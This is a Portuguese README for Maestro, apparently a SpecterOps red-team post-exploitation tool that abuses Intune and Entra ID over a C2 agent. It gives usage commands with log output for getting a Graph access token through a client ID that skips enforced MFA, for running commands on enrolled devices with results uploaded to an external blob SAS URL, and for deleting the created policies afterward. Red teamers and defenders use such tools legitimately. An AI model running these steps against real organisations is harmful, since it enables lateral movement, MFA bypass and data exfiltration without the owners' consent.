
Abusing Azure services over C2
Maestro é uma ferramenta de pós-exploração projetada para interagir com Intune/EntraID a partir de um agente C2 na estação de trabalho do usuário, sem exigir conhecimento da senha do usuário, fluxos de autenticação do Azure, manipulação de tokens ou console de administração baseado na web. O Maestro torna a interação com Intune e EntraID (e potencialmente outros serviços do Azure) a partir do C2 muito mais fácil, pois o operador não precisa obter a senha em texto claro do usuário, extrair cookies de primary refresh token (PRT) do sistema, executar ferramentas adicionais ou uma sessão de navegador por meio de um proxy SOCKS, nem lidar com fluxos de autenticação do Azure, tokens ou políticas de acesso condicional para executar ações no Azure em nome do usuário conectado.
O Maestro é essencialmente um wrapper para requisições locais de cookies PRT e chamadas à API do Microsoft Graph, com muitos recursos de qualidade de vida adicionados para red teamers. O Maestro possibilita caminhos de ataque entre on-prem e Azure. Por exemplo, ao executar o Maestro na máquina de um administrador do Intune, você pode executar scripts do PowerShell em qualquer dispositivo inscrito sem jamais saber as credenciais do administrador, mesmo que MFA, conformidade do dispositivo e um dispositivo com ingresso híbrido sejam exigidos pelas políticas de acesso condicional.
As funções de movimento lateral do Maestro foram inspiradas em Death from Above: Lateral Movement from Azure to On-Prem AD por Andy Robbins (@_wald0).
Você pode ler mais nesta postagem introdutória do blog sobre o Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
Há uma versão compilada neste repositório usando a configuração de build ReleasePlusMSAL. Observe que essa configuração mescla as dependências do MSAL no .exe, mas aumenta significativamente o tamanho do binário resultante. Se você não pretende usar o método -m 2 para solicitar tokens de acesso (SharpGetEntraToken via MSAL), você pode compilar um build Release e o tamanho será significativamente reduzido.
A partir de fevereiro de 2025, a Microsoft está implementando a aplicação obrigatória de MFA para autenticação no Portal do Azure e suas extensões. O método padrão de solicitação de token de acesso usando fluxo de código de autenticação provavelmente falhará nesse caso, mas usar SharpGetEntraToken/MSAL (opção -m 2) e especificar um client ID que não exija MFA, como o Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), deve continuar funcionando.
Maestro.exe <command> [subcommand] [options]
Todos os comandos e subcomandos têm uma página de ajuda gerada por um parser de linha de comando personalizado para manter o tamanho do binário no mínimo. As páginas de ajuda podem ser acessadas digitando qualquer comando do Maestro seguido de -h ou --help.
Consulte a saída da opção --help de cada comando para obter as informações de uso mais atualizadas.
Exemplos podem ser encontrados no final deste arquivo.
Para depuração, eu compartilho um diretório em uma máquina inscrita no Intune que é acessível a partir do meu host executando o Visual Studio, executo o Depurador Remoto do Visual Studio, configuro uma tarefa de pós-build para copiar os arquivos da solução para o compartilhamento e configuro o Visual Studio para depuração remota no sistema inscrito.
O tempo que consigo dedicar à pesquisa, ao desenvolvimento e ao aprimoramento do Maestro não seria possível sem o patrocínio da SpecterOps ao projeto, como parte do compromisso deles com a transparência e o apoio ao desenvolvimento de código aberto. Sou imensamente grato pela orientação e pelo apoio deles.
Alguns recursos do Maestro foram inspirados ou construídos com base no trabalho de outras pessoas, incluindo:
Se você tiver interesse em colaborar, me chame no Twitter (@_Mayyhem) ou no BloodHoundGang Slack!
Obtenha um token de acesso para o MS Graph usando MSAL e o client ID do Azure PowerShell (ainda não impedido pela minha MFA obrigatória):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
Execute o dsregcmd.exe no dispositivo Intune com o ID e537180b-6d04-427e-bf93-dbde818400eb, enviando os resultados para a URL SAS do Contêiner de Blobs do Azure Storage com um token de acesso compartilhado:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902